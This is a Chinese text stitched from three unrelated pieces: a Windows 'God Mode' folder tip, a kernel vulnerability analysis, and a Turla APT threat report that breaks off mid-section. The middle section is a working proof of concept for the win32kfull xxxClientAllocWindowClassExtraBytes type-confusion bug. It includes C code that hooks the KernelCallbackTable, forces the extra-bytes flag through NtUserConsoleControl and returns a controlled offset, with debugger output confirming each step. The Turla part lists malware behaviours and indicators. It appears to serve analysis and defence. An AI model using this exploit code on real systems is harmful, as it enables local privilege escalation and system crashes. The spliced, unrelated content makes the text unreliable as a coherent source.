什么是WIN7的上帝模式?所謂“上帝模式”,也叫完全控制面板。它其實是系統隱藏的一個功能,所以很少有人知道。但是這個功能對于需要經常維護電腦的人來說,是一個非常方便好用的工具。
當我們需要更改系統的某一個設置時,通常需要進入控制面板,然后一步一步地去找你要設置的那個項,這多少有一些麻煩,如果你經常設置的話,可能一下子就能找到,但是過了一段時間也許就忘記它在什么地方了。
那么有沒有什么捷徑可以一下子找到你要設置的那個項呢?這就是我們接下來要講的“上帝模式”。怎么找到它呢?這需要我們先在桌面上新建一個文件夾,將其命名為 GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} ,回車確定后,文件夾圖標就變成控制面板的圖標了,GodMode的中文翻譯就是上帝模式,當然你也可以把它命名為其他名字。
打開它以后你會發現一件神奇的事情,就是你經常設置的那些項都出現在眼前,有了它你就不需要一步一步地去找了。下面給大家羅列一下里面的部分內容。
事實上,這個上帝模式不只WIN7才有,vista、WIN8和WIN10也有。類似的還有下面這幾個比較常見的,大家有興趣可以試試。
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
撥號網絡.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印機.{2227a280-3aea-1069-a2de-08002b30309d}
網上鄰居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
更多電腦干貨(硬盤壞道修復,電腦各種疑難雜癥,蘋果電腦系統安裝,電腦藍屏花屏處理,電腦中毒解決,Linux系統安裝等等)整理放在我的微信公眾號xiaobindiannao,歡迎觀看。
內核模塊win32kfull.sys的win32kfull!xxxClientAllocWindowClassExtraBytes函數中存在Type Confusion漏洞,利用此漏洞進行越界讀寫,最終可實現本地提權
官方通報影響的windows版本:
Windows 10 Version 1803/1809/1909/2004/20h2
Windows Server, version 1909/20H2(Server Core installation)
Windows 10 Version for 32-bit Systems
Windows Server 2019
分析Windows版本:win10 20h2 19042.508
Type Confusion漏洞存在于win32kfull!xxxCreateWindowEx函數中,函數中漏洞點的偽代碼如下:
漏洞是怎么出現的呢?這得從窗口創建說起
【→所有資源關注我,私信回復“資料”獲取←】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
創建一個自定義的窗口前需要注冊自定義的窗口類,窗口類的結構體如下:
typedef struct tagWNDCLASSA {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCSTR lpszMenuName;
LPCSTR lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;
填寫好窗口類的結構體的成員,緊接著就可以調用CreateWindow(EXA/W)創建窗口,R0到R3的執行總體流程如下:
00 fffffe82`32d3f848 fffff467`52aa51a9 win32kfull!xxxCreateWindowEx
01 fffffe82`32d3f850 fffff467`5285519e win32kfull!NtUserCreateWindowEx+0x679
02 fffffe82`32d3f9f0 fffff802`36e058b5 win32k!NtUserCreateWindowEx+0xc2
03 fffffe82`32d3fa90 00007ffe`d86e1ec4 nt!KiSystemServiceCopyEnd+0x25
04 00000062`2ad9f7d8 00007ffe`d8ca7d8b win32u!NtUserCreateWindowEx+0x14
05 00000062`2ad9f7e0 00007ffe`d8ca7958 USER32!VerNtUserCreateWindowEx+0x20f
06 00000062`2ad9fb70 00007ffe`d8ca3c92 USER32!CreateWindowInternal+0x1a4
07 00000062`2ad9fcd0 00007ff7`9418144d USER32!CreateWindowExA+0x82
可以看到創建窗口的時候最終會進入漏洞存在的函數win32kfull!xxxCreateWindowEx,那么怎樣才能在win32kfull!xxxCreateWindowEx內調用win32kfull!xxxClientAllocWindowClassExtraBytes(即到達上圖中line: 974)呢?
當tagWNDCLASSA類設置cbWndExtra成員(為窗口實例分配的額外的字節大小)不為0時,就會調用到win32kfull!xxxClientAllocWindowClassExtraBytes函數,問題就出在這個函數中
v50是一個tagWND結構體指針,tagWND在win10的版本中相比win7的版本發生了一些變化,tagWND結構體的關鍵成員如下(圖片來源于紅雨滴團隊),(_QWORD *)(*((_QWORD *)v50 + 5) + 0x128i64)即為下圖的pExtraBytes,在當前正常的執行流程中,賦值為win32kfull!xxxClientAllocWindowClassExtraBytes申請到的堆地址,怎么知道是堆地址呢?且看下文
對函數win32kfull!xxxClientAllocWindowClassExtraBytes進行反編譯,得到以下結果:
volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
SIZE_T v1; // rdi
int v2; // ebx
__int64 *v3; // rcx
volatile void *v4; // rbx
__int64 CurrentProcessWow64Process; // rax
unsigned __int64 v7; // [rsp+30h] [rbp-38h] BYREF
volatile void *v8; // [rsp+38h] [rbp-30h]
char v9; // [rsp+70h] [rbp+8h] BYREF
char v10; // [rsp+78h] [rbp+10h] BYREF
int v11; // [rsp+80h] [rbp+18h] BYREF
int v12; // [rsp+88h] [rbp+20h] BYREF
v1=(unsigned int)Length;
v7=0i64;
v11=0;
v8=0i64;
v12=Length;
if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) !=0 )
KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);
ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
EtwTraceBeginCallback(0x7Bi64);
v2=KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
EtwTraceEndCallback(0x7Bi64);
LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
if ( v2 < 0 || v11 !=0x18 )
return 0i64;
v3=(__int64 *)v7;
if ( v7 + 8 < v7 || v7 + 8 > MmUserProbeAddress )
v3=(__int64 *)MmUserProbeAddress;
v8=(volatile void *)*v3;
v4=v8;
CurrentProcessWow64Process=PsGetCurrentProcessWow64Process();
ProbeForRead(v4, v1, CurrentProcessWow64Process !=0 ? 1 : 4);
return v4;
}
函數中調用KeUserModeCallback返回到用戶態執行回調函數,KeUserModeCallback函數原型如下:
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber,
IN PVOID InputBuffer,
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
首先根據API號0x7b可確定回調函數為user32!_xxxClientAllocWindowClassExtraBytes
0: kd> dt ntdll!_PEB @$peb Ke*
+0x058 KernelCallbackTable : 0x00007fff`4e1e1070 Void
0: kd> u poi(0x00007fff`4e1e1070 + 7b * 8)
user32!_xxxClientAllocWindowClassExtraBytes:
00007fff`4e177840 4883ec48 sub rsp,48h
00007fff`4e177844 8364242800 and dword ptr [rsp+28h],0
00007fff`4e177849 488364243000 and qword ptr [rsp+30h],0
00007fff`4e17784f 448b01 mov r8d,dword ptr [rcx]
00007fff`4e177852 ba08000000 mov edx,8
00007fff`4e177857 488b0dd2b70800 mov rcx,qword ptr [user32!pUserHeap (00007fff`4e203030)]
00007fff`4e17785e 48ff154bb20600 call qword ptr [user32!_imp_RtlAllocateHeap (00007fff`4e1e2ab0)]
00007fff`4e177865 0f1f440000 nop dword ptr [rax+rax]
對user32!_xxxClientAllocWindowClassExtraBytes進行反匯編,得到以下結果:
NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
PVOID Result; // [rsp+20h] [rbp-28h] BYREF
int v3; // [rsp+28h] [rbp-20h]
__int64 v4; // [rsp+30h] [rbp-18h]
v3=0;
v4=0i64;
Result=RtlAllocateHeap(pUserHeap, 8u, *a1);
return NtCallbackReturn(&Result, 0x18u, 0);
}
函數內調用RtlAllocateHeap從pUserHeap所指的用戶堆空間申請*a1(Length)字節的空間,并通過NtCallbackReturn攜帶堆地址返回到內核態,NtCallbackReturn函數原型如下:
因此我們可以獲得這樣的執行流程
xxxClientAllocWindowClassExtraBytes > KeUserModeCallback > _xxxClientAllocWindowClassExtraBytes > NtCallbackReturn
以上都屬于正常的執行流程,接下來講一下漏洞的產生過程
pExtraBytes(offset: 0x128)與ExtraFlag(offset: 0xe8)標志相關:當ExtraFlag & 0x800==0時,pExtraBytes表示的是內存指針,即上述的堆地址;當ExtraFlag & 0x800 !=0時,pExtraBytes表示的是內存偏移
因為執行完win32kfull!xxxClientAllocWindowClassExtraBytes函數,沒有對tagWND的ExtraFlag 進行校驗,所以惡意攻擊者可以在回調函數內將tagWNDExtraFlag 進行ExtraFlag | 0x800,就會使pExtraBytes表示的是內存偏移,不再表示為內存地址,再惡意控制pExtraBytes的偏移,同樣調用NtCallbackReturn將偏移值返回給內核,就可以發生越界讀寫,通過越界讀寫進而獲取讀寫原語,最終導致本地權限提升
漏洞驗證關鍵的兩點:
抵達漏洞的路徑:設置tagWNDCLASSA的cbWndExtra,調用CreateWindow創建窗口
觸發漏洞的環境:回調函數內修改tagWND的ExtraFlag并且返回指定的偏移值
在編寫POC前,還需要搞清楚一些問題:
問題1:在參考了網上公開的一些方法后,我選擇了一種重利用的方法,這跟池噴射后構造指定大小的空洞來進行控制分配有著相似的地方。簡單來說,就是分配一定數量的窗口(窗口類相同),緊接著銷毀這些窗口,然后創建要觸發漏洞的窗口(窗口的pExtraBytes為特殊的數值),觸發漏洞的窗口就會被分配到某個剛剛銷毀的窗口所在的內存區域。觸發漏洞的窗口完成占坑后,我們是怎么獲取到窗口句柄的呢?原來我們可以通過一開始創建好的窗口的句柄泄露tagWND在用戶態的內存指針,其首地址存儲的就是窗口句柄,偏移0xc8處存儲的是pExtraBytes,通過對特殊值的比較,就可以搜索到觸發漏洞的窗口的用戶態tagWND首地址,讀取其首地址的值,即可獲得其窗口句柄
問題2:大神們發現,win32kfull!xxxConsoleControl函數可以設置tagWND的ExtraFlag,調用此函數的用戶態API為NtUserConsoleControl
__int64 __fastcall xxxConsoleControl(int a1, struct _CONSOLE_PROCESS_INFO *a2, int a3)
{
...
v16=(_QWORD *)ValidateHwnd(*(_QWORD *)a2);// 獲取tagWND的地址
v17=(__int64)v16;
...
v18=v16 + 5;// 獲取pwnd的地址(真正的tagWND)
...
// 若ExtraFlag & 0x800 !=0
if ( (*(_DWORD *)(*v18 + 0xE8i64) & 0x800) !=0 )
{
v23=(_DWORD *)(*(_QWORD *)(*(_QWORD *)(v17 + 0x18) + 0x80i64) + *(_QWORD *)(v22 + 0x128));
}
else
{
// 從桌面堆進行分配
v23=(_DWORD *)DesktopAlloc(*(_QWORD *)(v17 + 0x18), *(unsigned int *)(v22 + 0xC8), 0i64);
...
if ( *(_QWORD *)(*v18 + 0x128i64) )
{
CurrentProcess=PsGetCurrentProcess();
v30=*(_DWORD *)(*v18 + 0xC8i64);
v29=*(const void **)(*v18 + 0x128i64);
memmove(v23, v29, v30);
if ( (*(_DWORD *)(CurrentProcess + 1124) & 0x40000008)==0 )
xxxClientFreeWindowClassExtraBytes(v17, *(_QWORD *)(*(_QWORD *)(v17 + 40) + 0x128i64));
}
*(_QWORD *)(*v18 + 0x128i64)=(char *)v23 - *(_QWORD *)(*(_QWORD *)(v17 + 24) + 0x80i64);
}
if ( v23 )
{
*v23=*((_DWORD *)a2 + 2);
v23[1]=*((_DWORD *)a2 + 3);
}
// 將ExtraFlag |=0x800u
*(_DWORD *)(*v18 + 0xE8i64) |=0x800u;
goto LABEL_33;
}
...
}
在上述問題得以解決后,就可以愉快地編寫POC了
VOID InitFunction()
{
HMODULE hNtdll=LoadLibraryA("ntdll.dll"), hWin=LoadLibraryA("win32u.dll"), hUser=LoadLibraryA("user32.dll");
if (!hNtdll || !hWin || !hUser)
{
ErrorOutput("[-] Failed to load the ntdll.dll, win32u.dll, user32.dll\n");
}
global::NtCallbackReturn=(pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
global::NtUserConsoleControl=(pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
if (!global::NtCallbackReturn || !global::NtUserConsoleControl)
{
ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
}
PBYTE isMenu=(PBYTE)GetProcAddress(hUser, "IsMenu");
if (!isMenu)
{
ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
}
while (*isMenu++ !=0xe8);
global::HMValidateHandle=(pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));
if (!global::HMValidateHandle)
{
ErrorOutput("[-] Failed to get HMValidateHandle\n");
}
}
3: kd> dt ntdll!_PEB KernelCallbackTable
+0x058 KernelCallbackTable : Ptr64 Void
VOID HookCallBack()
{
ULONG64 KernelCallbackTable=*(PULONG64)(__readgsqword(0x60) + 0x58);
if (!KernelCallbackTable)
{
printf("[-] Failed to get kernel callback table\n");
exit(1);
}
DWORD oldProtect=0;
ULONG64 target=KernelCallbackTable + (0x7B * 8);
VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);
global::orginCallBack=(pCallBack)(*(PULONG64)target);
*(PULONG64)target=(ULONG64)FakeCallBack;
VirtualProtect((LPVOID)target, 0x100, oldProtect, &oldProtect);
}
并且在xxxConsoleControl中還有一部分檢查,最終決定第一個參數為6,最后一個參數為0x10
VOID FakeCallBack(PULONG32 para)
{
if (*para==global::magicNum && global::flag)
{
printf("[+] Enter the fake callback\n");
HWND target=NULL;
for (ULONG32 idx=2; idx < 20; ++idx)
{
if (*(PULONG64)(global::pWnds[idx] + 0xc8)==global::magicNum)
{
target=(HWND) * (PULONG64)global::pWnds[idx];
printf("[+] Find the target wnd handle: 0x%I64x\n", (ULONG64)target);
printf("[+] Find the target wnd address: 0x%I64x\n", (ULONG64)global::pWnds[idx]);
break;
}
}
// set flag
ULONG64 buffer1[2]={ (ULONG64)target, 0 };
global::NtUserConsoleControl(6, buffer1, 0x10);
// set offset
ULONG64 buffer2[3]={ 0x1234, 0, 0 };
global::NtCallbackReturn(buffer2, 0x18, 0);
}
return global::orginCallBack(para);
}
int main()
{
InitFunction();
HookCallBack();
HINSTANCE hInstance=GetModuleHandleA(NULL);
WNDCLASSA wc{ 0 };
wc.lpfnWndProc=WindowProc;
wc.hInstance=hInstance;
wc.lpszClassName="Normal";
wc.cbWndExtra=0x10;
ATOM normalClass=RegisterClassA(&wc);
if (!normalClass)
{
ErrorOutput("[-] Failed to register normal class\n");
}
wc.lpszClassName="Magic";
wc.cbWndExtra=global::magicNum;
ATOM magicClass=RegisterClassA(&wc);
if (!magicClass)
{
ErrorOutput("[-] Failed to register magic class\n");
}
for (ULONG32 idx=0; idx < 20; ++idx)
{
global::hWnds[idx]=CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
if (!global::hWnds[idx])
{
ErrorOutput("[-] Failed to create normal window\n");
}
global::pWnds[idx]=global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
}
for (ULONG32 idx=2; idx < 20; ++idx)
{
if (global::hWnds[idx])
{
DestroyWindow(global::hWnds[idx]);
}
}
global::flag=TRUE;
HWND hMagic=CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
if (!hMagic)
{
ErrorOutput("[-] Failed to create magic window\n");
}
DestroyWindow(hMagic);
return 0;
}
在回調函數內設置斷點,根據命令行打印出來的指針查看內存,可以看到首地址存儲的句柄,偏移0xc8處即為特殊的數值0xabcd
2: kd> dq 27dab7814c0 l20
0000027d`ab7814c0 00000000`00020350 00000000`000314c0
0000027d`ab7814d0 00000000`00000000 08000000`08000000
0000027d`ab7814e0 00007ff6`13040000 00000000`00000000
0000027d`ab7814f0 00000000`000012b0 00000000`00000000
0000027d`ab781500 00000000`00000000 00000000`00000000
0000027d`ab781510 00000000`00000000 00000000`00000000
0000027d`ab781520 00000000`00000000 00000000`00000000
0000027d`ab781530 00000000`00000000 00007ff6`130410a0
0000027d`ab781540 00000000`0000f160 00000000`00000000
0000027d`ab781550 00000000`00000000 00000000`00000000
0000027d`ab781560 00000000`00000000 00000000`00000000
0000027d`ab781570 00000000`00000000 00000000`00000000
0000027d`ab781580 00000000`00000000 00000000`0000abcd
0000027d`ab781590 00000000`00020221 00000000`00000000
0000027d`ab7815a0 00000000`00000000 00000001`00000000
0000027d`ab7815b0 00000000`00000000 00000000`00000000
2: kd> ? 0000027d`ab781588-0000027d`ab7814c0
Evaluate expression: 200=00000000`000000c8
跟蹤內核中的xxxConsoleControl函數,查看內核中的窗口結構,函數沒執行完時,標志ExtraFlag還沒有設置,一旦執行完就設置了標志ExtraFlag
2: kd> dq ffff8a5905879150 l10
ffff8a59`05879150 00000000`00020350 00000000`00000001
ffff8a59`05879160 ffff8a59`02ee48a0 ffff8f01`0b551de0
ffff8a59`05879170 ffff8a59`05879150 ffff8a59`012314c0
ffff8a59`05879180 00000000`000314c0 00000000`00000000
ffff8a59`05879190 00000000`00000000 00000000`00000000
ffff8a59`058791a0 00000000`00000000 00000000`00000000
ffff8a59`058791b0 00000000`00000000 ffff8a59`00830a80
ffff8a59`058791c0 00000000`00000000 00000000`00000000
2: kd> dq poi(@rax+28)
ffff8a59`012314c0 00000000`00020350 00000000`000314c0
ffff8a59`012314d0 00000000`00000000 08000000`08000000
ffff8a59`012314e0 00007ff6`13040000 00000000`00000000
ffff8a59`012314f0 00000000`000012b0 00000000`00000000
ffff8a59`01231500 00000000`00000000 00000000`00000000
ffff8a59`01231510 00000000`00000000 00000000`00000000
ffff8a59`01231520 00000000`00000000 00000000`00000000
ffff8a59`01231530 00000000`00000000 00007ff6`130410a0
2: kd> ? poi(poi(@rax+28) + e8)
Evaluate expression: 4294967296=00000001`00000000
2: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007fff`f6820192 cc int 3
1: kd> dq ffff8a59`012314c0+e8 L1
ffff8a59`012315a8 00000001`00100818
1: kd> ? 00000001`00100818 & 0x800
Evaluate expression: 2048=00000000`00000800
在xxxCreateWindowEx中調用win32kfull!xxxClientAllocWindowClassExtraBytes函數的下一條指令下斷點
3: kd> ba e1 ffff8348`7883ce09
3: kd> g
Breakpoint 0 hit
win32kfull!xxxCreateWindowEx+0x1259:
ffff8348`7883ce09 488bc8 mov rcx,rax
3: kd> r rax
rax=0000000000001234
執行完這個xxxCreateWindowEx函數后,繼續執行poc中的DestroyWindow就會觸發藍屏
Turla,又名Snake,Uroburos,Waterbug,WhiteBear。由GData在2014年披露后,卡巴斯基、賽門鐵克、ESET持續對該組織進行追蹤和分析。根據該組織使用的惡意文件的編譯時間,最早可以追溯到2011年。通過對代碼及功能對比,可以追溯到2006年檢測名稱為Agent.BTZ的惡意文件與該組織有關聯。因此可以推測出該組織早在2006年就已經開始進行攻擊。
Turla組織使用了rootkit技術對計算機進行監控,完成數據竊取功能。這個方法在Windows早期版本的系統中非常實用,可以有效隱藏在計算機中,擁有較高權限。從Windows vista開始,微軟加強了對第三方驅動加載過程的控制,需要獲取證書并由用戶同意才可以正常安裝。因此Turla組織轉而使用更復雜的侵入過程并植入不帶rootkit套件的遠控軟件對信息進行采集,但這增大了被發現的幾率。
Turla組織攻擊目標包括政府機構、使館、軍事機構、教育機構、研究機構和制藥公司。最初在攻擊美國情報部門后被披露。近幾年,該組織攻擊了德國外交部,法國軍隊相關公司的服務器,竊取了大量的情報信息。
對Turla組織使用的惡意軟件進行分析后,總結出以下信息:
1、攻擊者在編寫惡意軟件時輸出的debug信息是英文,但不是母語;
2、攻擊者的基礎設施來源于俄羅斯;
3、攻擊者使用的默認語言為俄語;
4、Agent.BTZ中也出現了類似的痕跡。
因此,將其定為來源于俄羅斯的威脅攻擊組織。
Turla組織撕開防御設備的方法是通過運用社會工程學手段的魚叉攻擊以及水坑攻擊來完成。
2.1 社會工程學攻擊
在最初被發現的攻擊過程中,攻擊者使用了帶有漏洞的PDF文件,并通過電子郵件進行投遞。通過社會工程學誘導用戶點擊執行該PDF文件,并發送給同事或職位更高的人員。同時,附件中也存在“.SCR”擴展名的惡意軟件安裝程序,在安裝時釋放RAR文件并打開內置的正常PDF文件。
圖 正常的PDF文件
與此類似的攻擊手法伏影實驗室在4月發布的疫情攻擊相關的文章也有詳細分析。
2.2 水坑攻擊
2010-2016年間,該組織始終利用瀏覽器進行攻擊,包括水坑攻擊以及0day漏洞。攻擊者對攻擊網站植入下圖中標識出來的惡意JavaScript腳本,當用戶訪問被攻陷的網站時,即執行該JavaScript腳本。
經過整理,我們獲取了所有的曾經被攻擊過的網站及其名稱:
上述網站在14-17年間被用作水坑攻擊的站點,這些站點被嵌入了JavaScript代碼,在用戶訪問的時候執行,其功能大多為獲取瀏覽器的插件列表,屏幕分辨率等信息。同時,Turla在進行攻擊時會主動選擇他們感興趣的用戶,下發惡意文件,而最為重要的一種形式是利用假的Adobe Flash安裝包安裝后門。
Turla比較有特點的攻擊方式是利用Adobe進行攻擊誘騙,這種結果也與捕獲的方向有關,相當一部分政府的網站在建設成型以后,很少會快速迭代更新,使用更加先進的體系結構,而Adobe Flash這個存在大量漏洞的插件已經深度的整合在這些網站中。因此,在捕獲相關威脅時,與Adobe Flash相關的攻擊從未缺席。
2.3 MITM流量劫持與修改
Turla組織在進行攻擊時,通過MITM(中間人攻擊)來劫持Adobe的網絡,使得用戶在請求下載最新的軟件更新包時,替換用戶的下載內容,在用戶無感的情況下下載惡意軟件,并完成對目標主機的控制。但此種方式需要獲取核心路由的權限,甚至需要針對企業/政府的關鍵節點進行劫持。
但是在用戶側觀察到的攻擊過程則顯得非常簡單,例如用戶訪問以下鏈接,該鏈接歸屬于Adobe公司,是Adobe的子域名,http://admdownload.adobe.com/ bin/live/flashplayer27_xa_install.exe,通過此鏈接下載Turla的惡意文件,但是該請求的http頭中的referer字段被更改成了:
http://get.adobe.com/flashplayer/download/?installer=Flash_Player,這個地址與正常下載Adobe的域名相同,協議不同。分析認為,這里是為了繞過Adobe檢測機制而插入的referer信息,以便于能夠正常訪問到admdownload.adobe.com。
ATT&CK矩陣
在侵入內部網絡后,Turla組織會對目標進行篩選,挑選出感興趣的,具有高價值信息的目標,并在感染設備上投放惡意軟件。從2011年起至今,Turla被發現針對Windows、Linux、MacOS平臺均開發了對應的惡意軟件,持續竊取機密信息。
4.1 第一階段后門——The Epic
該后門會對環境進行檢測和處理,通過識別一些網絡監測工具來判斷是否可以執行,包括:tcpdump.exe、windump.exe、ethereal.exe、wireshark.exe、dsniff.exe。在與C2進行通信則采用了HTTP協議,通過對<div>something</div>格式的內容進行解析,來獲取C2下發的指令。
該后門用ID來對受害者進行標記,在第一次進行通信時,會發送帶有計算機信息的數據包到C2,并且使用加密算法對發送內容進行加密,但是攻擊者將密鑰也通過這一方式進行傳輸,因此可以對流量進行解密分析。
當Turla組織根據回傳信息判斷出目標值得進行更進一步的攻擊時,攻擊者才會將第二階段的后門部署在目標設備上。可以將第一階段后門理解為Turla組織的攻擊試探,這種方式能夠有效的避免將Uroburos下載到無關設備上,減少暴露風險。
4.2 第二階段后門——Uroburos
Uroburos是最為出名的一個后門,在Turla第一次被發現時,從被攻陷設備中提取出來的一個rootkit后門。攻擊者在使用該后門時,同時也在使用一個加密的虛擬文件系統,以此來確保自己的攻擊活動隱秘且高效。
Uroburos通過創建服務來保證自身能持續駐留在系統中,在注冊表中可以找到如下鍵值信息:
HKLM\System\CurrentControlSet\Services\Ultra3
Uroburos的主要功能如下:
l 關鍵函數hook
l 解密虛擬文件系統
l 注入Ring3層
l C&C通信
l 數據包抓取
Inline hook
Uroburos采用Inline hook的方式對關鍵函數進行修改,如:
對ZwQueryKey(), ZwEnumerateKey(), ZwCreateKey() 和 ZwSaveKey()函數hook,目的是為了隱藏在注冊表中增加的持續駐留用的鍵。
對ZwReadFile()函數hook,是為了隱藏自身文件。
對ZwQuerySystemInformation()函數hook,是為了隱藏驅動對象。
對ZwTerminateProcess()函數hook,是為了在停止工作時對環境進行清理,避免藍屏等問題出現。
對ObOpenObjectByName()函數hook,是為了隱藏虛擬文件系統。
部分hook函數列表
解密文件系統
Uroburos提供了NTFS和FAT32兩種虛擬文件系統以適應不同情況的設備,通過該虛擬文件系統,攻擊者可以在系統中存放竊取的數據,黑客工具抑或是需要輸出的運行日志信息,而通過對內核函數的hook,也避免了被殺軟找到該虛擬文件系統,從而提高了隱蔽性,同時,因不會占用系統磁盤,在用戶側的感知幾乎為0。
該虛擬文件系統使用CAST-128進行加密,密鑰硬編碼在驅動文件中,在驅動掛載運行時進行解密,解密后,該文件系統中存放.bat腳本,該腳本通過使用net命令進行內網機器發現,獲取局域網中機器的基礎信息以供橫向移動時使用。
在文件系統中還有一個隊列文件,每一個隊列文件中都包含一個uid、類型、時間戳和載荷,載荷還包括一個用于解密的key。根據GDATA捕獲的其他文件的分析,可能還包括配置文件,文件等信息。
數據包抓取
Uroburos支持對流量進行抓取,對數據包進行修改和攔截。可以處理HTTP,ICMP,SMTP協議流量,可以通過命名管道獲取應用層傳輸的信息。
同時,攻擊者預留了接口用于增加新的協議和新的方法來對流量進行處理,攻擊者通過對虛擬文件系統中包含的文件進行更新來達到持續攻擊的目的。
C&C通信
Uroburos提供tcp、enc、np、reliable、frag、udp、m2d、doms、t2m、domc通信方式。在代碼中可以看到np,reliable,frag,enc,m2b,m2d是通過NamedPipe進行通信。tcp,udp都是在驅動層構造數據包進行通信。
4.3 第二階段后門——Carbon
攻擊者在入侵的初期會判斷被攻擊目標的價值,在引起攻擊者的興趣后,攻擊者會將Carbon后門植入到設備中。Carbon是一個模塊化的工具,通過替換不同的插件來實現對應功能。
在初期捕獲的Carbon樣本中,其插件模塊被放置在資源段中,其中最主要的模塊是一個叫做carbon_system.dll的模塊,該模塊存在2個導出函數,ModuleStart和ModuleStop。在ModuleStart函數中,會創建多個互斥體用于區分不同的模塊單元,并在System\目錄下創建log文件,用于記錄執行過程中產生的debug信息。
carbon_system.dll作為主功能模塊,會創建windows命名管道用于其他模塊間的通信,接收其他功能模塊獲取的信息,并將其寫入文件中,等待上傳。carbon_system.dll通過GetDiskFreeSpaceExA獲取磁盤信息,用于監視磁盤使用情況,當磁盤寫滿后,會將“求助信息”寫入到待上傳日志文件中,通知攻擊者。
carbon_system.dll通過LoadLibrary調用其他模塊,并調用start函數啟動,在日志中記錄啟動時間,模塊名稱等信息。
還會搜集當前設備上運行的進程信息,監視進程變化,并將進程信息記錄在日志文件中,同樣的,仍然是使用管道來進行數據的傳輸。
carbon在執行任務時會從配置文件中讀取具體的任務信息:
task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath | [execution_mode | username | password]
每一個任務都有自己獨立的id號,通過額外的參數來指定運行的方式和方法。
carbon_system.dll就如同一個控制終端一樣,是一個體系化開發的攻擊套件,可以任意增加或刪除模塊,只需要提供對應的導出函數即可調用,并且,carbon_system.dll通過監控不同模塊產生的日志信息,來判斷是否成功執行了命令,這也在一定程度上,隱藏了攻擊者的活動。
同時,Turla還提供了64位版本的carbon_system.dll文件,以適應x64環境。在64位版本中,Turla并沒有刪除PDB信息,可以看到其項目名稱是cobra。
f:\Workshop\Projects\cobra\carbon_system\x64\Release\carbon_system.pdb
但是在x86版本中并未發現該PDB信息,攻擊者在編譯完成后,并沒有對x64版本操作,直接打包到了carbon_system的loader文件中。
4.4 第二階段后門——Carbon其他版本
carbon v3.51與4.3節中提到的最初版本區別在于通信部分,v3.51中通過http請求來與C2進行交互,并在其中隨機填充了例如:www.yahoo.com,www.bbc.com,www.google.com等域名,用以隱藏自身流量,部分下載和獲取的信息保存在\\.\IdeDrive1\\Results\result.txt文件中。這里提到的\\.\IdeDrive1\\目錄是虛擬文件系統中的目錄。
在此版本中,攻擊者刪除了對磁盤文件的監控,不再報告被感染設備的存儲情況,降低每次傳輸的信息數據量。而對運行進程的獲取則集中在tcpdump.exe、windump.exe、windump.exe、wireshark.exe、wireshark.exe、snoop.exe。當發現了此類進程后,會記錄日志進行回傳:
在v3.61版本的carbon模塊中可以找到一些debug信息,與上一版本不同的是,這次的debug信息是留存在x86架構的惡意文件中,并未被清理:
4.5 第二階段后門——Mosquito
該后門的loader部分會先進行自解密,得到代碼。解密后的代碼通過計算函數名hash來查找所需要調用的函數地址。這兩個函數并沒有加密存儲,通過IDA等工具可以直接看到其代碼,自解密函數為sub_5711E0,計算hash函數為sub_570E10。完成函數的導入之后,從自身文件中讀取數據并進行解密,解密函數為sub_56D480,解密后是兩個PE文件,寫入到磁盤中。
日志內容寫入文件%APPDATA%\Roaming\kb6867.bin中。
釋放的文件包含主后門程序,該后門通過loader加載,在執行時通過對EAT表進行修改來增加函數進行導出,對原始導出表進行修改。
替換后的函數先對加密后的庫文件名和函數名進行解密,并通過動態加載的方式,得到函數地址,接著創建名為\.\pipe\ms32loc的命名管道,隨后創建線程,等待其他進程的連入。該后門通過設置注冊表項,來寫入一些基礎配置信息。注冊表路徑如下:HKCU\Software\Microsoft\[dllname],填入信息如下:
4.6 第二階段后門——Javascript后門
第一種JavaScript用于替換Mosquito后門,利用假的Adobe Flash Player安裝包進行安裝。
獲取返回的數據,并用base64解碼執行。
第二種JavaScript文件讀取%programdata%\ 1.txt并使用eval函數執行其內容。在HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run中添加local_update_check來開機啟動。
4.7 第二階段后門——KopiLuwak
此后門通過文檔進行傳播,利用宏進行攻擊,在宏代碼中,調試可以發現,該初始代碼通過xor算法對數據進行解密,解密后的數據寫入mailform.js文件中,釋放文件存儲在%APPDATA%\Microsoft\Windows路徑下:
